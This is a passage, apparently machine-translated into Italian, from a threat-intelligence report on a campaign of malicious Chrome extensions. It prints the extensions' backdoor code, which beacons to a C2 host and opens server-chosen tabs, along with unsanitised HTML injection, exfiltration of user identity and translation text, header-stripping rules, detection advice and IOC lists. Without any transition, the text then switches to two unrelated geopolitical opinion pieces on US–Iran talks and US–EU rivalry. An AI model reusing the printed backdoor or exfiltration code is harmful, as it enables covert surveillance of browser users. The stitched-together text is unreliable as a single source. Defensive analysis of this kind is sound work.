IL sub Il campo è un identificatore dell'account Google stabile e multiservizio che non cambia quando un utente modifica la password o l'indirizzo email. In combinazione con l'e-mail e il nome, fornisce all'operatore un record persistente dell'identità Google di ciascuna vittima collegata all'estensione assegnata user_id sul cloudapi[.]stream back-end. Ciò non consente all'operatore di accedere all'account Google della vittima.

Tutte le 54 estensioni utilizzano gli ID client OAuth2 di soli due progetti Google Cloud: project 1096126762051 (31 ID cliente) e progetto 170835003632 (25 ID cliente). 56 ID cliente univoci su 54 estensioni riconducono tutti agli stessi due numeri di progetto, dimostrando che un unico operatore controlla tutti gli account degli editori nonostante cinque diversi nomi di editori sul Chrome Web Store.

Backdoor universale: loadInfo()#

45 le estensioni nella campagna includono una funzione identica nello script in background. Viene eseguito una volta ad ogni avvio del browser:

// background.js (present in 45 extensions, confirmed by automated grep across extracted CRX files)
// Analyst note: This runs automatically when Chrome starts and the service worker initializes.
// The server can return any URL to be opened as a new tab in the victim's browser.
async function loadInfo() {
  const response = await fetch("https://mines[.]cloudapi[.]stream/user_info", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ type: 'background', ext: chrome.runtime.id })
  });
  const result = await response.json();
  if (result && result.success && result.infoURL) {
    chrome.tabs.create({ url: result.infoURL });
  }
}
loadInfo();

Il server dell'operatore riceve l'ID dell'estensione ad ogni avvio del browser. Se la risposta include infoURL, l'estensione apre silenziosamente l'URL in una nuova scheda. Non esiste alcuna restrizione sull'URL che il server può restituire. Questo canale sopravvive al riavvio del browser e funziona indipendentemente dal fatto che l'utente apra o meno l'estensione.

In due estensioni (Page Locker e Page Auto Refresh), il loadInfo() la funzione è stilisticamente incoerente con il codice minimizzato circostante: utilizza clean async/await sintassi mentre il resto del file viene minimizzato. Ciò indica che la funzione è stata inserita dopo la scrittura del codice originale dell'estensione, coerentemente con un operatore che ha acquisito o riproposto estensioni esistenti e ha aggiunto la backdoor.

Iniezione innerHTML#

Lo stesso user_info la risposta che trasporta infoURL guida anche l'iniezione diretta del DOM su 78 estensioni. Ogni estensione di gioco e casinò nella campagna include a userpage.js file che prende due campi dalla risposta C2 e li scrive nella pagina utilizzando innerHTML senza sanificazione:

  // app/userpage.js (present across 78 extensions)
  // Analyst note: result.rating and result.protxt arrive from mines[.]cloudapi[.]stream/user_info.
  // No sanitization before DOM assignment — the C2 can push arbitrary HTML to any user's extension page.
  if (result.rating) {
      ratingPlayers.innerHTML = result.rating;
  }
  if (result.protxt) {
      proplansID.innerHTML = result.protxt;
      proplansID.classList.remove('h_');
  }

result.rating popola il pannello della classifica. result.protxt popola la sezione di upsell dei Piani Pro e la nasconde. Il server C2 può sostituire entrambi i campi con HTML arbitrario, inclusi blocchi di script, ad ogni visita all'interfaccia utente dell'estensione. Questo è un canale di injection distinto da loadInfo(): dove la backdoor apre una nuova scheda, l'iniezione di contenuto controllata dal server riscrive l'interfaccia dell'estensione.

Bypass dell'intestazione di sicurezza tramite dichiarativeNetRequest#

Cinque estensioni utilizzano Chrome declarativeNetRequest API per rimuovere le intestazioni di sicurezza dai siti di destinazione prima che la pagina venga caricata. Lo schema è identico per tutti e cinque: rimuovi Content-Security-Policy, X-Frame-Options, E Content-Security-Policy-Report-Only; impostato Access-Control-Allow-Origin: *; e falsificare il User-Agent, Origin, E Referer intestazioni per rappresentare il sito di destinazione stesso.

Le cinque estensioni e i loro obiettivi:

Telegram Multi-account (obifanppcpchlehkjipahhphbcbjekfa): obiettivi web.telegram.org, fa lo spoofing dell'User-Agent su iPhone Safari
Teleside (mdcfennpfgkngnibjbpnpaafcjnhcjno): obiettivi web.telegram.org, fa lo spoofing dell'User-Agent su iPhone Safari
YouSide (mmecpiobcdbjkaijljohghhpfgngpjmk): obiettivi youtube.com, fa lo spoofing dell'User-Agent su Chrome 140
SideYou (bfoofgelpmalhcmedaaeogahlmbkopfd): obiettivi youtube.com, fa lo spoofing dell'User-Agent su Chrome 125
Web Client for TikTok (cbfhnceafaenchbefokkngcbnejached): obiettivi www.tiktok.com, fa lo spoofing dell'User-Agent su Chrome 125

Tutti e cinque sono stati confermati dalla lettura rules_1.json direttamente da ogni file CRX estratto.

YouSide inserisce inoltre un overlay di gioco d'azzardo nella sua barra laterale: a gameSession div impostato su display:block inserendo un banner pubblicitario da multiaccount[.]cloudapi[.]stream/game.html sull'incorporamento di YouTube.

L'estensione TikTok ne aggiunge un secondo declarativeNetRequest regola che consente incondizionatamente tutte le connessioni WebSocket su tutti gli URL, rimuovendo qualsiasi restrizione a livello di rete sul traffico WebSocket dalle pagine TikTok. La sua sceneggiatura del contenuto (sys-content.js) inserisce un collegamento e un'immagine da multiaccount[.]cloudapi[.]stream/game.html in ogni pagina TikTok visitata dall'utente.

IL ukraine.html Il file in bundle con l'estensione TikTok funge da politica sulla privacy. Contiene l'e-mail di contatto kiev3381917@gmail[.]com e porta il titolo della pagina "Informativa sulla privacy - Estensione della barra laterale di Telegram", un artefatto copia-incolla da un'estensione diversa nella campagna che conferma che lo stesso autore ha scritto entrambi.

Procura di traduzione#

Text Translation (ogogpebnagniggbnkbpjioobomdbmdcj) si presenta come una barra laterale di traduzione standard. Quando un utente si registra, il estensione invia la propria email e il nome completo a https://api[.]cloudapi[.]stream:8443/Register e riceve in cambio una chiave API.

// main.js
// Analyst note: User email and name are sent to the threat actor's server at registration.
// The returned API key is stored in localStorage and attached to every translation request.
const url = 'https://api[.]cloudapi[.]stream:8443/Register';
// ...
localStorage.setItem('settings', JSON.stringify({
    email: $("#email").val(),
    name: $("#name").val(),
    key: result_.key
}));

Ogni richiesta di traduzione viene elaborata https://api[.]cloudapi[.]stream:8443/Translation con la chiave API dell'utente allegata come file X-Key intestazione. Il server dell'operatore riceve il testo completo di tutto ciò che l'utente invia per la traduzione. Questa estensione richiede solo il file sidePanel autorizzazione e nessuna autorizzazione host, quindi non genera avvisi di autorizzazione durante l'installazione.

Infrastruttura C2#

Tutte le 108 estensioni dannose condividono lo stesso backend, ospitato su 144[.]126[.]135[.]238 (Contabo GmbH VPS). Il dominio cloudapi[.]stream è stato registrato il 30 aprile 2022 tramite Hosting Ukraine LLC. Il server esegue un'istanza Strapi CMS sulla porta 1337 con un database PostgreSQL.

I sottodomini confermati e i loro ruoli:

tg[.]cloudapi[.]stream: Esfiltrazione della sessione di Telegram, sei endpoint inclusi /save_session.php, /get_sessions.php, /delete_session.php, E /count_sessions.php (7 estensioni)
mines[.]cloudapi[.]stream: furto d'identità tramite /auth_google, Faro C2 tramite /user_info (ritorna infoURL per l'apertura remota delle schede), persistenza dello stato utente (utilizzato da 94 estensioni)
topup[.]cloudapi[.]stream: portale di pagamento e monetizzazione, confermando il modello MaaS (collegato da 78 estensioni)
cdn[.]cloudapi[.]stream: hosting di risorse di gioco (79 estensioni)
multiaccount[.]cloudapi[.]stream: hub di iniezione di annunci, inserito direttamente in TikTok e altre pagine (29 estensioni)
gamewss[.]cloudapi[.]stream: Server di gioco WebSocket sulla porta 8447 (6 estensioni)
wheel[.]cloudapi[.]stream: preposizionato in host_permissions di 76 estensioni ma non utilizzato in nessun codice osservato
api[.]cloudapi[.]stream:8443: API di traduzione, registrazione utente e sorveglianza dei contenuti (1 estensione)
chat[.]cloudapi[.]stream: servizio chat (5 estensioni)

Un dominio secondario, top[.]rodeo, è elencato in host_permissions di 71 estensioni e utilizzato come backend del server di gioco. Nel codice sorgente compaiono due varianti di endpoint: /server/remote.php E /server/remote3.php, entrambi accettano uuid E extension_id parametri. IL topup[.]cloudapi[.]stream portale di pagamento e per utente user_id il sistema conferma che funziona come piattaforma Malware-as-a-Service. Alle vittime vengono assegnati account nel CRM backend e le identità e le sessioni rubate sono accessibili a chiunque acquisti l'accesso.

Violazioni delle norme del Chrome Web Store#

1. Contraddizione diretta della dichiarazione sulla privacy di CWS

L'elenco CWS di ogni estensione contiene un boilerplate dichiarazione: "Questo sviluppatore dichiara che i tuoi dati non vengono utilizzati o trasferiti per scopi estranei alla funzionalità principale dell'articolo." Il codice di invio user_id A mines[.]cloudapi[.]stream/user_info ad ogni avvio del browser, raccogliendo l'identità di Google tramite auth_google, e l'apertura di URL specificati dall'operatore non ha nulla a che fare con la funzione dichiarata di un gioco di slot o di un client Telegram. Questa è una bugia verificabile nell'elenco stesso, non un'interpretazione.

2. Norme sui dati utente dei servizi API di Google: utilizzo limitato

Estensioni utilizzando chrome.identity.getAuthToken sono vincolati da Google Requisiti di utilizzo limitato. I dati del profilo ottenuti tramite OAuth2 devono essere utilizzati solo per la funzionalità attivata esplicitamente dall'utente. Instradarlo a un server C2 di terze parti senza alcuna relazione rivelata con l'estensione è una violazione diretta indipendentemente dal fatto che il token stesso venga esfiltrato.

3. Politica sugli annunci CWS

Iniezione di un overlay per il gioco d'azzardo (multiaccount[.]cloudapi[.]stream/game.html) nell'interfaccia utente dell'estensione senza il consenso dell'utente o la divulgazione nell'elenco CWS viola il Chrome Web Store politica richiedendo che qualsiasi pubblicità sia chiaramente divulgata. In Teleside e YouSide l'annuncio sostituisce interamente l'interfaccia utente indicata.

Attribuzione#

L'e-mail di contatto kiev3381917@gmail[.]com appare in ukraine.html, un file HTML di politica sulla privacy in bundle con l'estensione SideYou (bfoofgelpmalhcmedaaeogahlmbkopfd). Lo stesso file viene riutilizzato tra le estensioni: la copia trovata in Web Client for TikTok porta invariato il titolo "Privacy Policy - Estensione Sidebar Telegram", collegando direttamente le due estensioni allo stesso autore.

Tre dei sette indirizzi email registrati contengono varianti romanizzate della stessa stringa “nadejdin” e “nadiezhdin”: nadejdinv@gmail[.]com (collegato a 16 estensioni), viktornadiezhdin@gmail[.]com (12 estensioni) e slava.nadejdin.kiev@gmail[.]com (2 estensioni).

I commenti al codice in russo compaiono nel codice di autenticazione e di furto di sessione su più estensioni. In content.js , il commento recita "userId ne najden" (userId non trovato) e in auth.js , si legge "Proverka na uzhe avtorizovannogo pol'zovatelya" (Controlla se l'utente è già autenticato).

Scansione Shodan di 144[.]126[.]135[.]238 confermando l'hosting di Contabo Inc., ISP Nubes LLC (AS40021) e nove porte aperte tra cui un server API Strapi su 1337 e PostgreSQL su 5432.

Cinque nomi di editori sul Chrome Web Store (Yana Project, GameGen, SideGames, Rodeo Games, E InterAlt) si risolvono tutti negli stessi due numeri di progetto Google Cloud: 1096126762051 E 170835003632. Questa è la prova più forte a favore della proprietà unificata, poiché 56 ID client OAuth2 univoci in tutte le 54 estensioni per il furto di identità condividono solo queste due radici del progetto.

Impatto#

Gli utenti che hanno installato una delle 54 estensioni per il furto di identità e hanno fatto clic sul pulsante di accesso hanno ricevuto l'e-mail di Google, il nome completo, l'URL dell'immagine del profilo e l'identificatore dell'account Google (sub) trasmesso a mines[.]cloudapi[.]stream/auth_google. IL sub il valore non cambia quando un utente modifica la password o l'indirizzo e-mail.

Utenti che hanno installato Telegram Multi-account (obifanppcpchlehkjipahhphbcbjekfa) e aperto web.telegram.org mentre l'estensione era attiva, la sessione Web di Telegram è stata esfiltrata a intervalli di 15 secondi. Un autore di minacce con una sessione rubata può accedere a tutti i messaggi, i contatti e gli account collegati senza la password dell'utente o il codice di autenticazione a due fattori.

Qualsiasi browser con uno dei 45 loadInfo() le estensioni backdoor installate rispondono ai comandi emessi dal server ad ogni avvio del browser, anche se l'utente non apre mai l'estensione.

In tutte le 108 estensioni, sono state registrate circa 20.000 installazioni. Le estensioni destinate a Telegram rappresentano circa 3.035 di tali installazioni.

Prospettive e raccomandazioni#

Per gli utenti:

Cerca tra le estensioni Chrome installate uno qualsiasi degli ID estensione nella sezione IOC di seguito e rimuovili immediatamente.
Se hai usato Telegram Multi-account (obifanppcpchlehkjipahhphbcbjekfa) mentre sei connesso a Telegram Web, esci da tutte le sessioni di Telegram Web dall'app mobile di Telegram in Impostazioni > Dispositivi > Termina tutte le altre sessioni.
Se hai effettuato l'accesso a qualsiasi estensione di giochi di slot, casinò o barra laterale utilizzando Google, tratta la tua identità Google come esposta. Controlla l'accesso alle app di terze parti su myaccount.google.com/permissions e revocare eventuali voci sconosciute.
Se hai installato Text Translation (ogogpebnagniggbnkbpjioobomdbmdcj) e registrato con la tua e-mail, l'indirizzo e-mail e il nome vengono archiviati sul server dell'autore della minaccia.

Per le squadre di sicurezza:

Bloccare cloudapi[.]stream e tutti i suoi sottodomini a livello di rete. L'elenco completo è nella sezione CIO di seguito.
Bloccare top[.]rodeo.
Contrassegna le estensioni di Chrome nel tuo ambiente che dichiarano il file identity permesso a fianco oauth2 ID cliente dai numeri di progetto Google Cloud 1096126762051 O 170835003632.
IL loadInfo() modello (POST a /user_info all'avvio dell'operatore del servizio con l'ID estensione, aprire infoURL dalla risposta) è un'impronta digitale rilevabile. Scansiona i pacchetti di estensioni per la combinazione di user_info, infoURL, E chrome.tabs.create.
declarativeNetRequest regole che rimuovono content-security-policy provenienti da siti di destinazione specificati non rappresentano un comportamento standard e richiedono una revisione in qualsiasi estensione.

Presa Protezione dell'estensione Chrome analizza i bundle di estensioni per rilevare flussi di dati nascosti, esfiltrazione di credenziali non divulgate e backdoor C2, bloccando le estensioni dannose prima che raggiungano gli endpoint dell'utente.

ATT&CK MITRA#

T1176 - Estensioni del browser
T1539 - Ruba cookie di sessione Web
T1528 - Ruba token di accesso all'applicazione
T1041 - Esfiltrazione sul canale C2
T1071.001 - Protocollo del livello applicazione: protocolli Web
T1027 - File o informazioni offuscati
T1185 - Dirottamento della sessione del browser

Indicatori di compromesso (IOC)#

Identificatori degli attori della minaccia

Indirizzo e-mail

kiev3381917@gmail[.]com
formatron.service@gmail[.]com
nashprom.info@gmail[.]com
viktornadiezhdin@gmail[.]com
support@top[.]rodeo
slava.nadejdin.kiev@gmail[.]com
nadejdinv@gmail[.]com

Nome dell'editore

Yana Project
GameGen
SideGames
Rodeo Games
InterAlt

Credenziali del progetto

Progetto Google Cloud: 1096126762051
Progetto Google Cloud: 170835003632

Indicatori di rete

cloudapi[.]stream
tg[.]cloudapi[.]stream
mines[.]cloudapi[.]stream
topup[.]cloudapi[.]stream
cdn[.]cloudapi[.]stream
multiaccount[.]cloudapi[.]stream
wheel[.]cloudapi[.]stream
gamewss[.]cloudapi[.]stream
api[.]cloudapi[.]stream
chat[.]cloudapi[.]stream
crm[.]cloudapi[.]stream
top[.]rodeo
metal[.]cloudapi[.]stream
144[.]126[.]135[.]238
coin-miner[.]cloudapi[.]stream
goldminer[.]cloudapi[.]stream
herculessportslegend[.]cloudapi[.]stream

Endpoint C2

tg[.]cloudapi[.]stream/save_session.php
tg[.]cloudapi[.]stream/count_sessions.php
tg[.]cloudapi[.]stream/get_sessions.php
tg[.]cloudapi[.]stream/get_session.php
tg[.]cloudapi[.]stream/delete_session.php
tg[.]cloudapi[.]stream/save_title.php
mines[.]cloudapi[.]stream/auth_google
mines[.]cloudapi[.]stream/user_info
mines[.]cloudapi[.]stream/slot_test/
api[.]cloudapi[.]stream:8443/Register
api[.]cloudapi[.]stream:8443/Translation
top[.]rodeo/server/remote.php
top[.]rodeo/server/remote3.php
top[.]rodeo/notify.php
cloudapi[.]stream/install/
cloudapi[.]stream/uninstall/

ID estensione Chrome

obifanppcpchlehkjipahhphbcbjekfa - Multiaccount Telegram
mdcfennpfgkngnibjbpnpaafcjnhcjno - Client Web per Telegram - Teleside
mmecpiobcdbjkaijljohghhpfgngpjmk - YouSide - Barra laterale di Youtube
bfoofgelpmalhcmedaaeogahlmbkopfd - Client Web per Youtube - SideYou
cbfhnceafaenchbefokkngcbnejached - Client Web per TikTok
ogogpebnagniggbnkbpjioobomdbmdcj - Traduzione del testo
ldmnhdllijbchflpbmnlgndfnlgmkgif - Blocco pagine
lnajjhohknhgemncbaomjjjpmpdigedg - Aggiornamento automatico della pagina
aecccajigpipkpioaidignbgbeekglkd - Client Web per Rugby Rush - SideGame
akebbllmckjphjiojeioooidhnddnplj - Gioco di corse di Formula Rush
akifdnfipbeoonhoeabdicnlcdhghmpn - Premi Piggy - Slot Machine
akkkopcadaalekbdgpdikhdablkgjagd - Slot araba
alkfljfjkpiccfgbeocbbjjladigcleg - Rana fantastica
alllblhkgghelnejlggmmgjbkdabidie - Slot machine Barba Nera
amkkjdjjgiiamenbopfpdmjcleecjjgg - Indiano: slot machine
amnaljnjmgajgajelnplfmidgjgbjfhe - Mahjong Deluxe
bbjdlbemjklojnbifkgameepcafflmem - Calcio di punizione pazzesco
bdnanfggeppmkfhkgmpojkhanoplkacc - Corse di slot car
bgdkbjcdecedfoejdfgeafdodjgfohno - Cancella cache Plus
bnchgibgpgmlickioneccggfobljmhjc - Galactica Delux - Slot machine
bpljfbcejldmgeoodnogeefaihjdgbam - Test di velocità per Chrome - Test di velocità WiFi
cbnekafldflkmngbgmbnfmchjaelnhem - Gioco SkySpeedster
cdpiopekjeonfjeocbfebemgocjciepp - Maestro degli scacchi
cehdkmmfadpplgchnbjgdngdcjmhlfcc - Sparatoria di hockey
cljengcehefhflhoahaambmkknjekjib - Le probabilità degli dei - Slot machine
clpgopiimdjcilllcjncdkoeikkkcfbi - Biliardo professionista
cmeoegkmpbpcoabhlklbamfeidebgmdf - Poker a tre carte
cmlbghnlnbjkdgfjlegkbjmadpbmlgjb - Ciambelle - Slot Machine
cnibdhllkgidlgmaoanhkemjeklneolk - Arciere - Slot machine
cpnfioldnmhaihohppoaebillnambcgn - Corsa al rugby
dbohcpohlgnhgjmfkakoniiplglpfhcb - Bingo
dcamdpfclondppklabgkfaofjccpioil - Client Web per il gioco Cricket Batter Challenge
dljlpildgknddpnahppkihgodokfjbnd - Slot machine Zeus Tesori
dlpiookhionidajbiopmaajeckifeehn - Corse di cavalli
dmaibhbbpmdihedidicfeigilkbobcog - Azteco: slot machine
dohenclhhdfljpjlnpjnephpccbdgmmb - Dritto 4
dpdemambcedffmnkfmkephnhhnclmcio - Slot la pentola d'oro
ejlcbfmhjbkgohopdkijfgggbikgbacb - Roulette americana reale
eljfpgehlncincemdmmnebmnlcmfamhm - Slot Asia
enmmilgindjmffoljaojkcgloakmloen - Client Web per il gioco Drive Your Car
eoklnfefipnjfeknpmigmogeeepddcch - Giganti giurassici - Slot machine
fddajeklkkggbnppabbhkdmnkdjindlo - Basket di strada
fibgndhgobbaaekmnneapojgkcehaeac - Pannello laterale dei Tarocchi
fjfhejmbhpabkacpoddjbcfandjoacmb - L'uccisore di draghi: slot machine
flkdjodmoefccepdihipjdlianmkmhgc - Il miglior blackjack
fmajpchoiahphjiligpmghnhmabolhoh - Libro Di Magia - Slot Machine
gaafhblhbnkekenogcjniofhbicchlke - Serpente: slot machine
gbaoddbbpompjhmilbgiaapkkakldlpc - Dice King - Classico gioco di dadi e lanci
gbhhgipmedccnankkjchgcidiigmioio - Slot Ramses
gfhcdakcnpahfdealajmhcapnhhablbp - Guerra delle corazzate
gipmochingljoikdjakkdolfcbphmlom - Minatore d'oro 2
glofhphmolanicdaddgkmhfmjidjkaem - Corse di levrieri - Simulatore di corse di cani
haochenfmhglpholokliifmlpafilfdc - Ercole: leggenda dello sport
hbobdcfpgonejphpemijgjddanoipbkj - Calcio veloce
hdmppejcahhppjhkncagagopecddokpi - Magia Voodoo: slot machine
heljkmdknlfhiecpknceodpbokeipigo - Client Web per sparatorie di hockey - SideGame
hiofkndodabpioiheinoiojjobadpgmj - MAESTRO DAMA
hkbihmjhjmehlocilifheeaeiljabenb - Corsa alle moto d'acqua
hlmdnedepbbihmbddepemmbkenbnoegd - Corsa in auto
hmlnefhgicedcmebmkjdcogieefbaagl - Videopoker Deuces Wild
hnpbijogiiaegambgpaenjbcbgaeimlf - Slot machine Ultimate Soccer
ibelidmkbnjmmpjgfibbdbkamgcbnjdm - Vigilia di Natale: slot machine
ihbkmfoadnfjgkpdmgcboiehapkiflme - Viaggio a Columbus: slot machine
ijccacgjefefdpglhclnbpfjlcbagafm - Gioco da casinò alto o basso
ijfmkphjcogaealhjgijjfjlkpdhhojk - Sfida tra portieri
ijpgccpmogehkjhdmomckpkfcpbjlmnj - Spiaggia tropicale - Slot machine
imjmnghlhiimodfkdkgnfplhlobehnpm - Black Jack 3D
jddinhnhplibccfmniaakhffpjpnaglp - Client Web per il gioco Classic Bowling
jmopjanoebpdbopigcbpjhiigmjolikk - Miniere di Zeus infuriate
jnmmbmkmbkcccpihjgnhjmhhkokfdnfe - Backgammon classico
jodocbbdcdclkhjkibnlfhbmllcpfkfo - Slot Machine I Frutti
kahcolfecjbejjjadhjafmihdnifonjf - Baccarà
kblomapfkjidbbbdllmofkcakcenkmec - Il mondo del minigolf
kbmindomjiejdikjaagfdbdfpnlanobi - Corsa all'oro - Slot machine
kbnkkecifeppobnemkielnpagifkobki - Slot Pirata
kjnakdbpijigdbfepipnbafnhbcfdkga - 40 Corona Imperiale - Slot Machine
kknakidneabpfgepadgpkibalcnabnnh - 3Slot machine D Calcio
klglejfbdeipgklgaepnodpjcnhaihkd - Corse di cavalli premium
kmiidcaojgeepjlccoalkdimgpfnbagj - Gioco dei carri armati
lcijkepobdokkgmefebkiejhealgblle - Poker caraibico
lefndgfmmbdklidbkeifpgclmpnhcilg - Bufalo selvaggio - Slot machine
lfkknbmaifjomagejflmjklcmpadmmdg - Acqua - Slot machine
ljbgkfbiifhpgpipepnfefijldolkhlm - Gioco Fusione crittografica
lmcpbhamfpbonaenickjclacodolkbdl - Foresta di Sherwood - Slot machine
lmgenhmehbcolpikplhkoelmagdhoojn - Client Web per il gioco Fatboy Dream
maeccdadgnadblfddcmanhpofobhgfme - Jackpot Lone Star - Slot machine
medkneifmjcpgmmibfppjpfjbkgbgebl - Gioco del gattino nascosto
mheomooihiffmcgldolenemmplpgoahn - Keno
mmbbjakjlpmndjlbhihlddgcdppblpka - Jokers Bonanza - Slot machine
mmbkmjmlnhocfcnjmbchmflamalekbnb - Calci di rigore
nbgligggjfgkpphhghhjdoiefbimgooc - Poker Pai Gow
ncpdkpcgmdhhnmcjgiiifdhefmekdcnf - Calcolatore di metalli
ndajcmifndknmkckdcdefkpgcodciggk - Fattoria - Slot machine
nelbpdjegmhhgpfcjclhdmkcglimkjpp - Puzzle del labirinto ferroviario
nkacmelgoeejhjgmmgflbcdhonpaplcg - GIOCO DI CARTE CANE ROSSO
nmegibgeklckejdlfhoadhhbgcdjnojb - Minatore di monete 2
nodobilhjanebkafmpihkpoabiggnnfl - Ninja Nero - Slot machine
oanpifaoclmgmflmddlgkikfaggejobn - Solitario Piramide
ocflhkadmmnlbieoiiekfcdcmjcfeahe - Client Chrome per sci alpino - SideGame
odeccdcabdffpebnfancpkepjeecempn - Slot machine Signor Pollo
oejhnncfanbaogjlbknmlgjpleachclf - Client Web per la roulette francese - SideGame
ogbaedmbbmmipljceodeimlckohbnfan - 3Gioco del casinò D Roulette
ojkbafekojdcedacileemekjdfdpkbkf - Avventura spaziale con slot machine
pdgaknahllnfldmclpcllpieafkaibmf - Colpiscili tutti
peflgkmfmoijonfgcjdlpnnfdegnlaji - Videopoker Jacks or Better
phfkdailnomcbcknpdmokejhellbecjb - Nuoto professionista
pkghgkfjhjghinikeanecbgjehojfhdg - InterAlt
pllkanemicadpcmkfodglahcocfdgkhj - Oro d'Egitto - Slot Machine
😂😂🤑😈

After Islamabad: US escalation meets Iran’s long-war doctrine

2026-04-15T09:00:06.884-07:00

The collapse of the Islamabad talks ended more than another round of diplomacy. It marked a shift in how this conflict is understood in Tehran. What Washington still frames as a pressure campaign, Iran now treats as the opening phase of a longer confrontation – one in which time, markets, and political pressure may weigh more heavily on the US than on Iran.

The talks failed because they were never grounded in a shared understanding of reality. The US entered negotiations as if military pressure had already produced sufficient leverage to extract major concessions. Iran entered with the opposite assumption, that the war had not yet reached the stage where such concessions were necessary. The problem ran deeper than tactics.

Washington’s position reflected a continuation of its established approach. It demanded the dismantling of Iran’s nuclear program, the reduction of its regional influence, and unrestricted navigation through the Strait of Hormuz, while avoiding binding commitments on Lebanon.

From Tehran’s perspective, this was not a negotiation designed to reach a compromise, but an attempt to translate incomplete battlefield outcomes into political surrender.

Iran’s position rested on a different calculation. It insisted on maintaining its nuclear capabilities, preserving sovereignty over Hormuz, and extending any ceasefire framework to Lebanon. These positions reflect strategic boundaries, anchored in the view that the conflict is regional and cannot be compartmentalized.

A misread Iran

A key driver of this divergence lies in Washington’s misreading of Iran’s internal dynamics. The US appears to assume that Iran still treats negotiations as a necessary exit from pressure. But the domestic environment inside Iran has shifted. There is no broad expectation that diplomacy will deliver immediate relief. On the contrary, visible segments of public opinion now question the logic of entering talks under current conditions.

This internal shift has direct consequences for Iran’s negotiating posture. As Iranian political analyst Foad Izadi noted on 12 April, “talking too much about negotiations upsets people on the ground,” reflecting a growing sensitivity toward any perception of concession. In this environment, compromise is no longer simply a diplomatic tool, but a political liability.

Hormuz as leverage, not geography

At the center of this recalibration is the Strait of Hormuz. Events on 11 and 12 April showed that Iran now treats the waterway as an active instrument of leverage. Iranian forces issued direct warnings to a US naval vessel, reinforcing an official line that “any military vessel approaching the Strait of Hormuz will be considered a breach of the ceasefire and will face a strong and forceful response.” This language signals an effort to impose rules of engagement on Iran’s terms.

That framing is reinforced by a broader official narrative. Iranian authorities have emphasized that “the Strait is under the smart management of Iran’s Navy, and civilian vessels can pass under specific regulations,” pointing to a model in which Hormuz is not simply defended, but administered.

Iranian political messaging has also framed escalation in wider strategic terms. In response to US threats, officials warned that “any enforced blockade will be met with a strong and decisive response,” underscoring that attempts to impose external control over the strait will trigger confrontation, not compliance.

Alongside official messaging, analytical voices inside Iran are pushing the logic even further. Izadi argued that “the Strait of Hormuz could become Iran’s most important source of revenue,” pointing to proposals that would restrict passage and impose significant transit costs on shipping. While such ideas remain part of an evolving debate, they reflect a broader strategic direction in which geography is transformed into economic leverage.

Washington reacts, Tehran recalculates

The US response has reinforced the same dynamic from the opposite direction. US President Donald Trump signaled that Washington could move to restrict maritime activity and prevent vessels from operating under Iranian terms, after imposing a naval blockade on 13 April, while claiming that US forces had degraded elements of Iran’s military capabilities. The threat to impose a blockade, given that one is already in place, points to a reactive posture rather than a coherent strategy.

From Tehran’s perspective, this inconsistency is interpreted as a sign of pressure. Iranian officials have characterized US rhetoric as reflecting “desperation and anger,” pointing to a widening gap between declared objectives and achievable outcomes.

Israel’s role has further complicated the diplomatic track. Throughout the negotiations, Israeli strikes in Lebanon continued, and officials made clear that no ceasefire applied to that front. This created a structural contradiction.

Iran approached negotiations as part of a regional framework, while Washington and Tel Aviv treated the conflict as compartmentalized. The continuation of strikes during talks reinforced Tehran’s long-standing view that diplomacy cannot be separated from military realities.

War on a different clock

The failure of the talks now points directly to what comes next. If the war resumes, Washington assumes that increased pressure will eventually force Iran into concessions. Tehran appears to be operating on a different timeline.

Iran’s economy remains under strain, and further conflict will intensify that pressure. However, Iranian strategic thinking increasingly emphasizes asymmetry in the distribution of costs. As Izadi also noted, expectations that the US would lift sanctions or offer meaningful economic concessions are unrealistic, reinforcing the belief that prolonged confrontation may yield more leverage than compromise.

The decisive variable is not Iran’s internal capacity alone, but the external consequences of escalation. Any sustained disruption in the Strait of Hormuz will directly impact global energy markets, shipping routes, and insurance costs. These effects do not stay confined to the region. They extend into western economies and political systems.

This is where timing becomes critical. The US is approaching a politically sensitive period marked by major international events and domestic electoral cycles. Rising energy prices and economic instability carry consequences that extend well beyond foreign policy.

In this context, escalation carries direct political risk.

Tehran appears to be factoring this into its strategy. The longer the confrontation remains unresolved, the greater the likelihood that pressure shifts outward rather than inward. Iran’s calculation is not that it will avoid damage, but that it can manage it more predictably than its adversaries.

The collapse of the Islamabad talks marks the opening of a new phase in the conflict – one defined by endurance, leverage, and strategic timing.

If war returns, it may not be decided by battlefield outcomes alone. It will be shaped by which side can absorb the broader consequences longer.

For the first time in this confrontation, Tehran appears to believe that the answer may not favor Washington.

Fonte : The Cradle

Gli USA sulla strada verso la dominazione mondiale e l'eliminazione della democrazia

2026-03-16T09:34:00.001-07:00

A marzo 4 Friedrich Merz dichiarò, dopo aver incontrato Donald Trump alla Casa Bianca, che L'Europa non accetterebbe un accordo sull'Ucraina raggiunto senza la sua partecipazione.

"Senza il coinvolgimento degli europei, Non ci sarà nessun accordo," dichiarò Merz.

Questo ha confermato il conflitto in corso tra Stati Uniti e UE. Mentre gli USA vedono la loro possibilità di aumentare il proprio potere usando la Russia per fermare l'ascesa economica e politica della Cina, l'Unione Europea vede la sua opportunità di espandere il proprio territorio e la propria influenza eliminando l'ostacolo russo all'acquisizione di nuovi territori verso l'Europa orientale e l'Asia Centrale e, attraverso questa strada, forse persino per ottenere il controllo sulla Cina.

Questo disaccordo potrebbe persistere a lungo termine perché le possibilità dell'UE di dominare il mondo sono molto più lontane rispetto alle attuali opportunità per gli USA, specialmente se gli USA permettessero alla Russia di riconquistare parti del territorio ucraino che storicamente facevano parte della Russia, si identificavano con essa nel 2014 e arrivavano persino a organizzare una rivolta militare contro la loro adesione all'UE e alla NATO.

Gli USA non hanno alcun interesse a sostenere la crescita del potere dell'UE, e entrambe le parti stanno manovrando per raggiungere i rispettivi obiettivi. Tutte le possibilità di vittoria in questa lotta di potere sono dalla parte degli USA.

